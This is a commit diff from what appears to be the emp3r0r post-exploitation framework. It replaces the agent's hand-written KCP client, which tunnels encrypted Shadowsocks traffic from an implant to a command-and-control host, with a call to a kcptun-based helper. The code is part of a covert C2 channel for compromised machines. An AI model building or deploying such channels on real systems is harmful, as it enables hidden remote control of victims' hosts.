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fix: re-implement kcp C2 based on kcptun, use single UDP connection
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,98 +1,20 @@ | ||
| package agent | ||
|
|
||
| import ( | ||
| "context" | ||
| "crypto/sha256" | ||
| "fmt" | ||
| "io" | ||
| "log" | ||
| "net" | ||
|
|
||
| emp3r0r_data "github.com/jm33-m0/emp3r0r/core/lib/data" | ||
| "github.com/jm33-m0/emp3r0r/core/lib/util" | ||
| "github.com/xtaci/kcp-go/v5" | ||
| "golang.org/x/crypto/pbkdf2" | ||
| "github.com/jm33-m0/emp3r0r/core/lib/tun" | ||
| ) | ||
|
|
||
| // Connect to C2 KCP server, forward Shadowsocks traffic | ||
| func KCPClient() { | ||
| if !RuntimeConfig.UseKCP { | ||
| return | ||
| } | ||
| ln, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%s", RuntimeConfig.KCPPort)) | ||
| err := tun.KCPTunClient(RuntimeConfig.CCHost, RuntimeConfig.KCPPort, | ||
| RuntimeConfig.Password, emp3r0r_data.MagicString) | ||
| if err != nil { | ||
| log.Printf("KCPClient: %v", err) | ||
| return | ||
| } | ||
| defer func() { | ||
| if ln != nil { | ||
| ln.Close() | ||
| } | ||
| log.Print("KCPClient exited") | ||
| }() | ||
|
|
||
| serve_conn := func(client_conn net.Conn) { | ||
| // log | ||
| log.Printf("KCP: serving conn %s -> %s", | ||
| client_conn.LocalAddr(), | ||
| client_conn.RemoteAddr()) | ||
|
|
||
| // monitor C2 connection state | ||
| ctx, cancel := context.WithCancel(context.Background()) | ||
| go func() { | ||
| for emp3r0r_data.KCPKeep { | ||
| util.TakeABlink() | ||
| } | ||
| // kill client_conn if lost C2 connection | ||
| log.Printf("Killing KCP client conn %s as C2 is disconnected", client_conn.LocalAddr()) | ||
| cancel() | ||
| emp3r0r_data.KCPKeep = true | ||
| }() | ||
|
|
||
| // dial to C2 KCP server | ||
| key := pbkdf2.Key([]byte(RuntimeConfig.Password), | ||
| []byte(emp3r0r_data.MagicString), 1024, 32, sha256.New) | ||
| block, _ := kcp.NewAESBlockCrypt(key) | ||
|
|
||
| sess, err := kcp.DialWithOptions(fmt.Sprintf("%s:%s", | ||
| RuntimeConfig.CCHost, RuntimeConfig.KCPPort), | ||
| block, 10, 3) | ||
| defer func() { | ||
| sess.Close() | ||
| client_conn.Close() | ||
| log.Printf("KCP: done with conn %s -> %s", | ||
| client_conn.LocalAddr(), | ||
| client_conn.RemoteAddr()) | ||
| }() | ||
| if err != nil { | ||
| log.Printf("KCP dial: %v", err) | ||
| return | ||
| } | ||
| go func() { | ||
| _, err = io.Copy(sess, client_conn) | ||
| if err != nil { | ||
| log.Printf("client_conn -> kcp: %v", err) | ||
| return | ||
| } | ||
| }() | ||
| go func() { | ||
| _, err = io.Copy(client_conn, sess) | ||
| if err != nil { | ||
| log.Printf("client_conn -> kcp: %v", err) | ||
| return | ||
| } | ||
| }() | ||
| for ctx.Err() == nil { | ||
| util.TakeABlink() | ||
| } | ||
| } | ||
|
|
||
| for { | ||
| conn, err := ln.Accept() | ||
| if err != nil { | ||
| log.Printf("KCPClient accept: %v", err) | ||
| continue | ||
| } | ||
| go serve_conn(conn) | ||
| log.Printf("KCPTUN failed to start: %v", err) | ||
| } | ||
| } |
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